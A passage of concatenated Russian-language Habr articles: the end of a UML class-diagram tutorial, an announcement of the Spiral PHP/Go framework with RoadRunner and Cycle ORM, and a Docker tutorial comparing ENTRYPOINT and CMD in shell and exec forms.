* precedence - ассоциированный массив, хранящий приоритет каждой операции/функции. Это необходимо для перевода выражения из инфиксной формы в постфиксную.
Класс *MathConstantManager*:
* userDefinedConstants - ассоциированный массив, хранящий значения определённых пользователем констант.
* predefinedConstants - ассоциированный массив, хранящий значения предопределённых констант.
Класс *MathChecker*:
* userExpression - строковое представление пользовательского математического выражения, которое будет проверяться.
* errorPlace - участок строки, в котором содержится ошибка (например, неизвестный системе токен).
* errorType - тип ошибки.
* operations - список корректных операций.
* functions - список корректных функций.
* operandQuantity - ассоциированный массив, хранящий количество аргументов для каждой операции/функции.
Класс *MathCalculator*:
* expression - объект математического выражения, значения которого будут подсчитываться.
Аналогичное примечание будет сделано и для методов классов.
Методы класса
-------------
Снова разберём наш пример с классом Customer. На этот раз обратим внимание на третью секцию - секцию методов.
Описание методов очень похоже на описание полей класса. На рисунке ниже представлен общий вид описания метода класса.
Аргументы методов в общем случае описываются следующим образом:
В случае, если у метода есть несколько аргументов, они указываются в скобках через запятую
в указанном формате.Теперь давайте добавим на нашу основную диаграмму методы классов.
Назначение каждого метода построенных классовКласс *MathExpression*:
* setParameter(parameter, value) - устанавливает параметру parameter значение value.
* setExpression(expression) - устанавливает новое тело функции математического выражения.
* getStringRepresentation() - возвращает тело функции.
Класс *MathParser*:
* CreateTokenList(expression) - разбивает математическое выражение на список токенов и возвращает его в виде списка строк.
Класс *MathFormConverter*:
* InfixToPostfix(infixExpression) - переводит математическое выражение в постфиксную форму.
Класс *MathConstantManager*:
* addConstant(constant, value) - добавляет в систему новую пользовательскую константу.
* alterConstant(constant, newValue) - изменяет значение пользовательской константы constant на newValue.
* deleteConstant(constant) - удаляет пользовательскую константу constant.
* getConstantValue(constant) - возвращает значение пользовательской константы constant.
* isConstant(token) - проверяет, является ли token константой.
Класс *MathChecker*:
* areAllTokensCorrect() - проверяет все токены математического выражения на корректность.
* areBracketsCorrespond() - проверяет все ли скобки расставлены правильно.
* hasEmptyBrackets() - проверяет, есть ли в выражении пустые скобки
* hasMissedOperations() - проверяет, есть ли в выражении пропущенные операции. Например, для отслеживания случаев "18 354" - между числами пропущена операция.
* IsOperation(token) - проверяет, является ли токен корректной операцией.
Класс *MathCalculator*:
* calculate(value) - подсчитывает значение математического выражения, когда значение переменной равно value
Классы, отвечающие за графику
-----------------------------
Помните, мы в начале статьи договорились, что у нас будет две диаграммы: одна для классов, отвечающих за работу с функциями, другая – для классов, отвечающих за графику? Настало время построить вторую диаграмму. Результат представлен на картинке ниже.
Слишком много непонятных классовДавайте вместе разбираться в этой куче классов:
* *QWidget* – стандартный класс фреймфорка Qt, который является базовым почти для всех создаваемых виджетов (графических элементов). В нашем проекте все элементы созданы на основе этого класса.
* *QDialog* – стандартный класс для создания диалоговых окон.
* *AboutProgramDialog* – окно информации о программе. Такое окно есть почти в каждой программе. В нём находится краткое описание проекта, его авторы и, возможно, информация о лицензировании.
* *HelpDialog* – окно справочной информации. В больших системах справочник просто необходим.
* *MainWindow* – главное окно программы «Построитель графиков функций». В нём содержатся основные элементы программы: плоскость для построения графиков (*PaintingArea*), список блоков ввода функций (*FunctionBoxList*), список блоков ввода констант (*ConstantBoxList*).
* *PaintingArea* – плоскость для построения графиков. Пользователь может захотеть нарисовать графики некоторых определённых им функций. За отображения этих графиков и отвечает данный класс.
Координатная плоскость для построения графиков. Является объектом класса PaintingArea. В качестве примера, на координатной плоскости построен график функции y=sin(x)* *Graph* – график функции на координатной плоскости. Пример объекта класса Graph представлен на рисунке выше.
* *FunctionBox* – блок ввода функции. Представлен на рисунке ниже.
* *FunctionBoxList* – список блоков ввода функций.
* *ConstantBox* – блок ввода константы. Представлен на рисунке ниже.
* *ConstantBoxList* – список блоков ввода констант.
Виды отношений
--------------
Давайте начнём рассматривать различные отношения между классами на диаграмме. Нами будут рассмотрены следующие соединительные линии:
* Отношение ассоциации
* Отношение зависимости
* Отношение обобщения, также известное как отношение наследования.
* Отношение агрегации
* Отношение композиции
Обозначение каждого вида отношения представлено на рисунке ниже. Далее мы начнём рассматривать каждое отношение в подробностях.
Рассматриваемые нами виды отношений### Отношение ассоциации
Отношение ассоциации используют, чтобы показать, что между классами (например, между двумя классами) существует некоторая связь. Обычно с помощью него на диаграмме классов показывают, что один класс пользуется функционалом другого класса.
Методы класса LogSystem используют метод Console::WriteLine() и, возможно, некоторые
другие для вывода результатов.В общем случае, использование отношения ассоциации выглядит следующим образом:
Как вы можете заметить, стрелка ассоциации направлена от класса *пользователя* к классу *владельцу* используемой функциональности. Для пояснения того, каким образом один класс использует другой класс, вы можете описать данный процесс в *вспомогательном тексте*.
Обратите внимание на *кратность ассоциации,* которая расположена под стрелкой. С кратностью мы уже встречались ранее. Здесь у нее несколько иное значение. Кратность ассоциации обозначает количество объектов, которые участвуют во взаимодействии. Как показано на рисунке выше, во взаимодействии могут участвовать от m до n пользователей и от q до r владельцев.
Клиенты могут подключаться к серверу. С помощью кратности ассоциации указывается допустимое количество объектов в таком взаимодействии.
> Если кратность ассоциации не указана, будет подразумеваться кратность [0..\*]. В случае со статическими классами кратность не указывается (можно считать, что там указана кратность [1].
>
>
Избегайте использования отношения ассоциации в обе стороны, как это показано на рисунке ниже. Такое взаимодействие классов можно считать ярким примером спагетти-кода. В случае ошибки очень сложно будет обнаружить, что послужило ей причиной.
Обозначение отношения ассоциацииСтрого говоря, отношение ассоциации изображают сплошной линией без стрелок. Например, на различных сайтах вы, скорее всего, могли видеть следующие примеры.
В таких стандартных примерах очевидно, что студент учится у преподавателей и что работник работает на компанию, и никак иначе. Однако людям, которые только начинают знакомиться с вашей программой, необходимо понимать, в какую сторону направлена стрелка. Таким образом, возникает потребность в использовании именно направленного отношения ассоциации. В дальнейшем мы будем обозначать ассоциацию сплошной линией со стрелкой.
Давайте добавим отношения ассоциации на наши диаграммы.
С помощью отношения ассоциации мы в общих чертах показываем, как взаимодействуют классы.Когда пользователь создаёт блок ввода константы и заполняет все поля, в системе создаётся новая константа. За это отвечает статический класс MathConstantManager.### Отношение зависимости
Отношение зависимости используют, чтобы показать, что изменение одного класса требует изменение другого класса.
В нашем случае вид графика функции зависит от самой функции или, по нашей договорённости об именовании, от объекта математического выражения. Давайте покажем это на диаграмме.
Изменение объекта математического выражения влияет на вид графика.
> Стрелка отношения зависимости направлена от зависимого класса к независимому.
>
>
Объекты класса *Graph* зависят от изменений в объектах класса *MathExpression*, поскольку, на самом деле, в объекте *Graph* хранится указатель на объект класса *MathExpression*. Поэтому мы можем считать, что график «знает» обо всех изменениях внутри математического выражения (изменение тела функции, изменение границ значений переменной, изменение значения параметров и т.д.).
Отношение между этими двумя классами как бы соединяет две диаграммы воедино. Все классы нашей первой диаграммы «работают» на объекты класса *MathExpression*. Людям, работающим с графической частью приложения, нужно знать лишь об этом классе, что существенно снижает сложность. В результате наша вторая диаграмма приобретает следующий вид.
### Отношение наследования
Прежде чем мы начнём изучать данное отношение, проясним один момент. Как вы можете видеть, данное отношение имеет два названия: отношение обобщения и отношение наследования. В терминах ООП принцип наследования является очень важной вещью. Чтобы не вносить путаницу в дальнейшее повествование, давайте договоримся использовать только второе название – отношение наследования – применительно к диаграмме классов.
Итак, отношение наследования используется, чтобы показать, что один класс является родителем (базовым классом или суперклассом) для другого класса (потомка, производного класса).
Если вы работали с какой-нибудь библиотекой для создания графического интерфейса (OpenGL в чистом виде не в счёт!), вы могли заметить, что все классы графических элементов обычно выстраиваются в цепочку наследования. Например, взгляните на цепочку наследования классов фреймворка Qt5, представленную на рисунке ниже.
Отношение наследования здесь изображается обычной стрелкой.Полная версия диаграммыПолную версию диаграммы вы можете посмотреть [по ссылке](https://www.dropbox.com/s/x0om9rdpdlnbnu0/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0%20%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2%20Qt%205.pdf)
Разумеется, такие цепочки наследования просто необходимы, поскольку различные виджеты (графические элементы) имеют схожие свойства и поведение. В нашем приложении классы виджетов тоже были созданы на основе нескольких базовых классов: *QWidget* и *QDialog*. Давайте покажем это на диаграмме.
Мы свернули классы ради экономия места. В дальнейшем мы также будем это делать, поскольку нас будет интересовать именно отношения между классами, а не их поля и методы. Заметьте, что в большинстве наших классов мы не можем обойтись без класса *QWidget* и *QDialog*, однако его использование приводит к беспорядку.
> Давайте договоримся, что больше мы не будем изображать эти два базовых класса, чтобы избежать проблем с читабельностью диаграммы. Тем не менее, мы будем иметь в виду, от каких классов наследуются оставшиеся.
>
>
### Отношение агрегации
*Отношение агрегации* между двумя классами показывает, что один из них включает в себя другой класс в качестве составной части. При этом класс-часть **может и существовать обособленно** от класса-целого (далее мы раскроем смысл этой фразы).
> В переводе с английского, слово aggregation означает соединение частей. Это значение очень точно отражает суть данного отношения – показать, из каких частей состоит класс.
>
>
В целом, смысл этого отношения достаточно условен. Может показаться, что определение отношения агрегации «один класс включает в себя другой класс» означает примерно следующее:
```
class A
{
class B
{
};
…
};
```
На самом деле, это отношение означает, что объект одного класса включает в себя в качестве составной части объект другого класса.
Объект класса PersonalComputer (упрощённо) состоит из объекта класса Monitor, объекта класса ComputerMouse и объекта класса Keyboard.С отношением агрегации также можно использовать кратность, чтобы показать, сколько объектов одного класса входят в состав объекта другого класса.
На нашей диаграмме есть много мест, где нам может пригодиться отношение агрегации:
* Объект класса *MainWindow* содержит в себе по одному объекту классов *PaintingArea*, *ConstantBoxList*, *FunctionBoxList*.
* Неограниченное количество объектов класса Graph могут содержаться в объекте класса *PaintingArea*.
* Класс-контейнер *ConstantBoxList* может содержать в себе неограниченное количество объектов класса *ConstantBox*.
* Класс-контейнер *FunctionBoxList* может содержать в себе неограниченное количество объектов класса *FunctionBox*.
### Отношение композиции
Отношение композиции является частным случаем отношения агрегации. Однако у него есть одно отличие – классы-части, которые он соединяет с классом-целым, **не могут существовать обособленно.**
> Одним из переводов слова composition является слово **смесь**. Если допустить, что из смеси не получится получить исходные компоненты, то это хорошо помогает понять, что части, соединённые отношением композиции не могут существовать сами по себе.
>
>
Давайте в качестве примера рассмотрим окно интерпретатора Python.
Понятное дело, что ни полоса прокрутки (ScrollBar), ни заголовок окна (Title), ни поле ввода команд (TextInput) не могут существовать отдельно от окна программы (Window). Это можно изобразить на диаграмме классов следующим образом.
В нашей диаграмме объекты классов *FunctionBox* и *ConstantBox* не могут существовать отдельно от их контейнеров. Кроме того, объекты класса Graph тоже не могут существовать обособленно от координатной плоскости.
Вот и всё! Мы рассмотрели достаточно элементов диаграммы классов, чтобы начать делать собственные диаграммы классов.
> P.S. Спасибо всем, кто дошёл до этого момента. Статья получилась очень массивной, поскольку хотелось разобрать все основные элементы на практическом примере.
>
> | https://habr.com/ru/post/572234/ | null | ru | null |
# Spiral: высокопроизводительный PHP/Go фреймворк
Привет, Хабр. Меня зовут Антон Титов, CTO компании Spiral Scout. Сегодня я хотел бы рассказать вам про нашего PHP-слона. А точнее про вторую версию опен-сорсного full-stack PHP/Go фреймворка — [**Spiral**](https://spiral.dev/).
Spiral — это компонентный full-stack фреймворк, разрабатываемый нашей компанией более одиннадцати лет и обслуживающий под сотню реальных проектов. Программный пакет основан на множестве открытых и собственных библиотек, включая [RoadRunner](https://roadrunner.dev/) и [Cycle ORM](https://github.com/cycle/orm).
Фреймворк совместим с большинством PSR рекомендаций, поддерживает MVC и работает в 5-10 раз быстрее Laravel/Symfony.
Если вы никогда не слышали о Spiral и гадаете, что такое PHP/Go фреймворк и куда делась первая версия — добро пожаловать под кат.
#### О Фреймворке
Разработка Spiral была начата в 2008/09 годах в виде переносимого ядра для приложений, разрабатываемых под фриланс. В 2010 годы мы окончательно сформировали аутсорс компанию и с тех пор занимались улучшением нашего стека.
В итоге, фреймворк преобразовывался в набор независимых компонентов, объединенных общим интеграционным слоем.
Единственный публичный анонс первой версии произошел на Reddit в 2017 году и дал нам понять, что технически Spiral не особо выигрывала у конкурентов на тот момент. Мы учли полученный фидбек, опыт более сложных проектов и закончили вторую версию в мае 2019 года.
Спустя год документирования и обкатки на реальных проектах мы готовы представить данную разработку на суд общественности.
Основным отличием Spiral 2.0 от предыдущего поколения фреймворка и, пожалуй, от всех остальных существующих PHP-фреймворков является интегрированный сервер приложений RoadRunner, а также адаптация архитектуры под долгоживущую модель выполнения (режим демона).
#### Гибридный Рантайм
Основной концепцией фреймворка является симбиоз между сервером приложений, написанным на Golang, и PHP-ядром. Код PHP приложения загружается в память только один раз — так вы получаете значительную экономию ресурсов, но теряете возможность запускать WordPress.
> Больше о гибридной модели можно прочитать [тут](https://habr.com/ru/company/badoo/blog/434272/) и [тут](https://habr.com/ru/company/oleg-bunin/blog/461827/).
>
>
Сервер отвечает за всю инфраструктурную часть: HTTP/FastCGI, общение с брокерами очередей, GRPC, WebSockets, Pub/Sub, кэш, метрики и т.д.
Написание кода под Spiral практически не отличается от кода под любой другой фреймворк. Однако к принципам SOLID придется относиться более ответственно. Если раньше кэширование данных пользователя в синглтоне вызывало лишь сильную боль на код-ревью, то сейчас такой код просто не будет работать корректно.
> Знания Golang не являются обязательными для работы с платформой. Однако, выучив второй язык, можно создавать практически бесшовные интеграции c Golang библиотекам. Например встроить движок полнотекстового поиска или написать свой драйвер Kafka.
Чтобы выстрелить в ногу было чуть сложнее, было решено отказаться от системы ивентов и хуков и приоритезировать работу со стеком вызовов в явном виде.
Фреймворк предоставляет набор инструмент, таких как IoC замыкания, middleware, интерцепторы доменного слоя и immutable-сервисы.
```
$container->runScope(
[UserContext::class => $user],
function () use ($container) {
dump($container->get(UserContext::class);
}
);
```
Хотя такой подход и накладывают дополнительный оверхед, возможность не выгружать ядро программы, соединения с базой и сокеты из памяти с лихвой покрывает эти ограничения.
#### Производительность
В классе full-stack PHP фреймворков конкуренцию Spiral в основном составляют сборки на основе Swoole и несколько микро-фреймворков.
Полные бенчмарки доступны [тут](https://www.techempower.com/benchmarks/#section=test&runid=02692910-4c3f-4c56-a9dc-f0167a4280a4&hw=ph&test=fortune&l=zik073-1r&c=6&d=c&o=e) и [тут](https://github.com/the-benchmarker/web-frameworks).
Для нас производительность является побочным эффектом выбранной архитектуры. Мы уверены, что при должной конфигурации и заменe PSR-7 на более легкую абстракцию, производительность можно поднять на 50-80% (это доказывает пример [ubiquity-roadrunner](https://www.techempower.com/benchmarks/#section=test&runid=c7152e8f-5b33-4ae7-9e89-630af44bc8de&hw=ph&test=fortune&p=zik0zj-zik0zj-zik0zj-hra0hr-v)).
> О Swoole. Swoole имеет меньший оверхед чем RoadRunner, так как работает с PHP в рамках одного процесса и написан на С++. В отдельных задачах можно выжать намного больше, чем используя сервер на Go. Плюс у вас появляются корутины, что трудно игнорировать.
>
>
>
> С другой стороны RoadRunner менее инвазивен (внешние зависимости не требуются), есть больше готовых инструментов, он проще расширяется и работает под Windows.
>
>
>
> Код работающий под Spiral будет прекрасно работать на Swoole, так что всегда можно переехать!
#### PSR-\* и Компоненты
Большинство компонентов Spiral не являются обязательными для вашей сборки, разница между micro- и full- сборкой заключается только в содержимом `composer.json`. При необходимости можно воспользоваться интерфейсами для замены стандартных библиотек на альтернативные реализации.
HTTP слой фреймворка написан с учетом стандартов PSR-7/15/17, можно смело [менять роутер](https://spiral.dev/docs/http-psr-15), реализацию сообщений и т.д.
Большинство библиотек фреймворка можно использовать вне фреймворка. Так, например, RoadRunner прекрасно работает с [Symfony](https://roadrunner.dev/docs/integration-symfony) и [Laravel](https://roadrunner.dev/docs/integration-laravel), а Cycle ORM будет доступна в Yii3.
#### Компоненты сервера
Помимо PHP-компонентов, сборка RoadRunner включает несколько библиотек, написанных на Golang. Большинством сервисов сервера можно управлять из PHP.
В частности, есть компонент очередей, поддерживающий работу с брокерами AMQP, Amazon SQS и Beanstalk. Библиотека умеет корректно останавливаться, переподключаться и распределять любое количество входящих очередей на несколько воркеров.
Из коробки идет мониторинг на Prometheus и health-check точки, горячая перезагрузка и ограничение по использованию памяти. Для распределенных проектов есть GRPC сервер и клиент.
`INFO[0154] 10.42.5.55:51990 Ok {2.28ms} /images.Service/GetFiles
INFO[0155] 10.42.3.95:50926 Ok {11.3ms} /images.Service/GetFiles
INFO[0156] 10.42.5.55:52068 Ok {3.60ms} /images.Service/GetFiles
INFO[0158] 10.42.5.55:52612 Ok {2.30ms} /images.Service/GetFiles
INFO[0166] 10.42.5.55:52892 Ok {2.23ms} /images.Service/GetFiles
INFO[0167] 10.42.3.95:49938 Ok {2.37ms} /images.Service/GetFiles
INFO[0169] 10.42.5.55:52988 Ok {2.22ms} /images.Service/GetFiles`
Есть вебсокеты, их можно авторизовать из PHP приложения и подключать к pub-sub шине (в памяти или на Redis). На текущий момент производится обкатка Key-Value драйверов.
#### Портативность
Фреймворк не требует наличия PHP-FPM и NGINX. А все Golang-компоненты имеют драйверы для работы без внешних зависимостей. Таким образом, вы можете использовать очереди, websockets, метрики, не устанавливая внешние брокеры или программы.
```
./spiral serve -v -d
```
Spiral не важно, пишите ли вы огромное распределенное приложение или небольшой сайт, посылающий «напишите нам» в фоне. В любом случае вы можете использовать одинаковые инструменты, унифицируя поведение локального и продакшн окружений.
> Так как HTTP-слой не является обязательным, можно писать консольные приложения, обрабатывающие данные в фоне, используя пакет очередей. Мы используем такие программы для миграций данных.
#### Cycle ORM
В качестве ORM из коробки идет [Cycle ORM](https://github.com/cycle/orm). Это Data Mapper движок очень похожий на Doctrine функционально, но сильно отличающийся архитектурно.
Как и Doctrine, Cycle может работать с чистыми доменными моделями, самостоятельно генерируя миграции и расставляя внешние ключи. Схему маппинга можно описывать кодом либо собирать из аннотаций. А вот вместо DQL используются классические Query Builders.
```
// загрузить всех активных пользователей
// и выбрать все оплаченные заказы отсортированные по дате
$users = $orm->getRepository(User::class)
->select()
->where('active', true)
->load('orders', [
'method' => Select::SINGLE_QUERY, // force LEFT JOIN
'load' => function($query) {
$query->where('paid', true)->orderBy('timeCreated', 'DESC');
}
])
->fetchAll();
$transaction = new Transaction($orm);
foreach($users as $user) {
$transaction->persist($user);
}
$transaction->run();
```
Cycle работает [быстрее](https://github.com/adrianmiu/forked-php-orm-benchmark) Doctrine на выборках, но медленнее на persist. Движок поддерживает сложные запросы с несколькими стратегиями загрузки, прокси классы, embeddings и предоставляет переносимые транзакции вместо глобального EntityManager.
> Больше деталей можно будет услышать на [PHP Russia 2020](https://phprussia.ru/moscow/2020/).
Основная “фишка” ORM — возможность менять маппинг данных и связей в рантайм. Говоря простыми словами, вы можете позволить пользователям самостоятельно определять схему данных (DBAL поддерживает интроспекцию и декларирования схем баз данных).
> Больше о сравнение Cycle, Eloquent и Doctrine 2 можно прочитать [тут](https://github.com/cycle/docs/issues/3).
#### Быстрое прототипирование
Spiral включает несколько инструментов для ускорения и упрощения разработки. Основными являются авто-инъекция зависимостей, авто-конфигурация и автоматический поиск моделей, используя статический анализ. Консольные команды позволяют генерировать большинство необходимых классов и легко кастомизируются.
Для интеграции в IDE есть система быстрого прототипирования. Используя магический PrototypeTrait можно получить быстрый доступ к подсказкам в IDE.
Трейт автоматом находит репозитории ORM, стандартные компоненты и умеет индексировать ваши сервисы по аннотациям. Под капотом используется магический метод **\_\_get**, что гарантирует вам быстрое прохождение код ревью.
Достаточно запустить команду `php app.php prototype:inject -r`, и система прототипирования автоматически удалит всю магию:
```
namespace App\Controller;
use App\Database\Repository\UserRepository;
use Spiral\Views\ViewsInterface;
class HomeController
{
/** @var ViewsInterface */
private $views;
/** @var UserRepository */
private $users;
/**
* @param ViewsInterface $views
* @param UserRepository $users
*/
public function __construct(ViewsInterface $views, UserRepository $users)
{
$this->users = $users;
$this->views = $views;
}
public function index()
{
return $this->views->render('profile', [
'user' => $this->users->findByName('Antony')
]);
}
}
```
Под капотом используется [PHP-Parser](https://github.com/nikic/PHP-Parser).
#### Безопасность
Поскольку большинство наших приложений разрабатывается под B2B сегмент, к вопросам безопасности приходится относится серьезно.
Вам будут доступны компоненты для валидации сложных запросов (Request Filters), CSRF и шифрования (на основе [defuse/php-encryption](https://github.com/defuse/php-encryption)). Работа с cookies и session поддерживает aнти-тамперинг и подписывание данных на стороне сервера.
Фреймворк предоставляет [компонент аутентификации](https://spiral.dev/docs/security-authentication) на основе истекающих токенов. В качестве драйвера можно использовать сессии, базу данных либо вовсе чистый JWT.
> Либо все типы токенов одновременно, если к вам внезапно прилетело требование “срочно подключите SAML/SSO/2FA!” :(
Авторизация доступа выполняется через [RBAC компонент](https://spiral.dev/docs/security-rbac) с некоторыми доработками, позволяющими работу в режиме DAC и ABAC. Есть поддержка множества ролей, аннотаций для защиты методов контроллеров и система правил.
Работа с доменным слоем происходит через промежуточный [интерцептор-слой](https://spiral.dev/docs/cookbook-domain-core). Так можно создавать особые ограничения на группу контроллеров, пред-валидировать данные и оборачивать ошибки.
#### Шаблонизатор
> Если вам нравится только Twig — можете пролистать данный раздел, просто установите расширение и пользуйтесь знакомыми инструментами. :)
>
>
Из коробки идет шаблонизатор Stemper, а точнее, библиотека для создания собственных DSL разметок. В частности присутствует полноценный лексер, несколько грамматик, парсер и доступ к AST (по аналогии с PHP-Parser Никиты).
Есть возможность парсинга нескольких вложенных грамматик. Так, например, вы можете использовать директивы Laravel Blade и собственный DSL (в виде HTML тегов) разметки внутри одного шаблона. Получается что-то вроде web-components на стороне сервера.
Мы используем этот компонент для описания сложных интерфейсов, используя простые примитивы и правила.
```
User, {{ $user->name }}
settings }}>
{{ $key }}
{{ $value }}
```
Поддерживается авто-экранирование с поддержкой контекста (например вывод PHP внутри JS блока автоматически преобразует данные в JSON), source-maps для работы с ошибками. Шаблоны компилируются в оптимизированный PHP код и после отдаются напрямую из памяти приложения.
> Stemper может полноценно работать с DOM документа (хоть и медленнее, если использовать специализированные инструменты).
#### Развитие Фреймворка
Само собой, более чем за десятилетие разработки данного инструмента мы совершили множество ошибок. Часть из них удалось поправить к релизу второй версии, другая же часть требует пересмотра концепции некоторых компонентов.
Не будем также отрицать, что некоторые вещи потребуют допиливания напильником. А какие-то вопросы могут звучать для нас впервые. Документация хоть и старается покрыть максимум компонентов, все же может провисать в отдельных местах.
Мы открыты к критике и предложениям, так как сами активно пользуемся данным инструментом. Огромный бэклог улучшений потихоньку разбирается нашей командой и комьюнити.
Много работы потребуется для улучшения и ускорения Cycle, а также переписывания Request Filters согласно последним RFC. В процессе разработки находится компонент для работы и эмуляции Key-Value баз данных.
Многие вещи мы просто не успели перевести с первой версии. В планах восстановить пакеты ODM, панель администрирования, написать хороший профилировщик и т.д.
#### Комьюнити и Ссылки
Вы можете зайти в наше небольшое комьюнити на [Discord](https://discord.gg/kmmfk7M). [Telegram-канал](https://t.me/spiralphp).
* [Сайт фреймворка](https://spiral.dev/)
* [GitHub фреймворка](https://github.com/spiral/framework)
* [GitHub стандратного приложения](https://github.com/spiral/app)
Весь код распространяется по MIT лицензии и не имеет каких-либо ограничений для коммерческого использования.
Спасибо за внимание. Я надеюсь, наши инструменты пригодятся вам в проектах! | https://habr.com/ru/post/495224/ | null | ru | null |
# ENTRYPOINT vs CMD: назад к основам
Название `ENTRYPOINT` всегда меня смущало. Это название подразумевает, что каждый контейнер должен иметь определенную инструкцию `ENTRYPOINT`. Но после прочтения [официальной документации](https://docs.docker.com/engine/reference/builder/#entrypoint) я понял, что это не соответствует действительности.
Факт 1: Требуется определить хотя бы одну инструкцию (`ENTRYPOINT` или `CMD`) (для запуска).
--------------------------------------------------------------------------------------------
Если вы не определите ни одной из них, то получите сообщение об ошибке. Давайте попробуем запустить образ Alpine Linux, для которого не определены ни `ENTRYPOINT`, ни `CMD`.
```
$ docker run alpine
docker: Error response from daemon: No command specified.
See 'docker run --help'.
```
Факт 2: Если во время выполнения определена только одна из инструкций, то и `CMD` и `ENTRYPOINT` будут иметь одинаковый эффект.
-------------------------------------------------------------------------------------------------------------------------------
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ls /usr
```
```
$ docker build -t test .
```
```
$ docker run test
bin
lib
local
sbin
share
```
Мы получим те же результаты, если будем использовать `CMD` вместо `ENTRYPOINT`.
```
$ cat Dockerfile
FROM alpine
CMD ls /usr # Using CMD instead
```
```
$ docker build -t test .
```
```
$ docker run test
bin
lib
local
sbin
share
```
Хотя этот пример и показывает, что между `ENTRYPOINT` и `CMD` нет никакой разницы, её можно увидеть, сравнив метаданные контейнеров.
Например, первый файл **Dockerfile** (с определенной `ENTRYPOINT`):
```
$ docker inspect b52 | jq .[0].Config
{
...
"Cmd": null,
...
"Entrypoint": [
"/bin/sh",
"-c",
"ls /"
],
...
}
```
Факт 3: И для `CMD`, и для `ENTRYPOINT` существуют режимы *shell* и *exec*.
---------------------------------------------------------------------------
Из [руководства](https://docs.docker.com/engine/reference/builder/#entrypoint):
> `ENTRYPOINT` имеет два режима выполнения:
>
> * `ENTRYPOINT ["executable", "param1", "param2"]` (исполняемая форма, предпочтительно)
> * `ENTRYPOINT command param1 param2` (форма оболочки)
>
>
>
>
До сих пор мы использовали режим *shell*, или оболочки. Это означает, что наша команда `ls -l` запускается внутри `/bin/sh -c`. Давайте попробуем оба режима и изучим запущенные процессы.
Режим *"shell"*:
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ping www.google.com # "shell" format
```
```
$ docker build -t test .
```
```
$ docker run -d test
11718250a9a24331fda9a782788ba315322fa879db311e7f8fbbd9905068f701
```
Затем изучим процессы:
```
$ docker exec 117 ps
PID USER TIME COMMAND
1 root 0:00 /bin/sh -c ping www.google.com
7 root 0:00 ping www.google.com
8 root 0:00 ps
```
Обратите внимание, что процесс `sh -c` имеет PID, равный 1. Теперь то же самое, используя режим *"exec"*:
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ["ping", "www.google.com"] # "exec" format
```
```
$ docker build -t test .
```
```
$ docker run -d test
1398bb37bb533f690402e47f84e43938897cbc69253ed86f0eadb6aee76db20d
```
```
$ docker exec 139 ps
PID USER TIME COMMAND
1 root 0:00 ping www.google.com
7 root 0:00 ps
```
Мы видим, что при использовании режима *exec* команда `ping www.google.com` работает с идентификатором процесса PID, равным 1, а процесс `sh -c` отсутствует. Имейте в виду, что приведенный выше пример работает точно так же, если использовать `CMD` вместо `ENTRYPOINT`.
Факт 4: Режим *exec* является рекомендуемым.
--------------------------------------------
Это связано с тем, что контейнеры задуманы так, чтобы содержать один процесс. Например, отправленные в контейнер сигналы перенаправляются процессу, запущенному внутри контейнера с идентификатором PID, равным 1. Очень познавательный опыт: чтобы проверить факт перенаправления, полезно запустить контейнер *ping* и попытаться нажать *ctrl + c* для остановки контейнера.
Контейнер, определенный с помощью режима *exec*, успешно завершает работу:
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ["ping", "www.google.com"]
```
```
$ docker build -t test .
```
```
$ docker run test
PING www.google.com (172.217.7.164): 56 data bytes
64 bytes from 172.217.7.164: seq=0 ttl=37 time=0.246 ms
64 bytes from 172.217.7.164: seq=1 ttl=37 time=0.467 ms
^C
--- www.google.com ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.246/0.344/0.467 ms
$
```
При использовании режима *"shell"* контейнер работает не так, как ожидалось.
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ping www.google.com
```
```
$ docker build -t test .
```
```
$ docker run test
PING www.google.com (172.217.7.164): 56 data bytes
64 bytes from 172.217.7.164: seq=0 ttl=37 time=0.124 ms
^C^C^C^C64 bytes from 172.217.7.164: seq=4 ttl=37 time=0.334 ms
64 bytes from 172.217.7.164: seq=5 ttl=37 time=0.400 ms
```
Помогите, я не могу выйти! Сигнал `SIGINT`, который был направлен процессу `sh`, не будет перенаправлен в подпроцесс `ping`, и оболочка не завершит работу. Если по какой-то причине вы действительно хотите использовать режим *shell*, выходом из ситуации будет использовать `exec` для замены процесса оболочки процессом `ping`.
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT exec ping www.google.com
```
Факт 5: Нет оболочки? Нет переменных окружения.
-----------------------------------------------
Проблема запуска НЕ в режиме оболочки заключается в том, что вы не можете воспользоваться преимуществами переменных среды (таких как `$PATH`) и прочими возможностями, которые предоставляет использование оболочки. В приведенном ниже файле **Dockerfile** присутствуют две проблемы:
```
$ cat Dockerfile
FROM openjdk:8-jdk-alpine
WORKDIR /data
COPY *.jar /data
CMD ["java", "-jar", "*.jar"] # "exec" format
```
Первая проблема: поскольку вы не можете воспользоваться переменной среды `$PATH`, нужно указать точное расположение исполняемого java-файла. Вторая проблема: символы подстановки интерпретируются самой оболочкой, поэтому строка `*.jar` не будет корректно обработана. После исправления этих проблем итоговый файл **Dockerfile** выглядит следующим образом:
```
FROM openjdk:8-jdk-alpine
WORKDIR /data
COPY *.jar /data
CMD ["/usr/bin/java", "-jar", "spring.jar"]
```
Факт 6: Аргументы CMD присоединяются к концу инструкции `ENTRYPOINT`… иногда.
-----------------------------------------------------------------------------
Вот тут-то и начинается путаница. В [руководстве](https://docs.docker.com/engine/reference/builder/#understand-how-cmd-and-entrypoint-interact "руководстве") есть таблица, цель которой – внести ясность в этот вопрос.
Попытаюсь объяснить **на пальцах**.
### Факт 6a: Если вы используете режим *shell* для `ENTRYPOINT`, `CMD` игнорируется.
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ls /usr
CMD blah blah blah blah
```
```
$ docker build -t test .
```
```
$ docker run test
bin
lib
local
sbin
share
```
Строка `blah blah blah blah` была проигнорирована.
### FACT 6b: При использовании режима *exec* для `ENTRYPOINT` аргументы `CMD` добавляются в конце.
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ["ls", "/usr"]
CMD ["/var"]
```
```
$ docker build -t test .
```
```
$ docker run test
/usr:
bin
lib
local
sbin
share
/var:
cache
empty
lib
local
lock
log
opt
run
spool
tmp
```
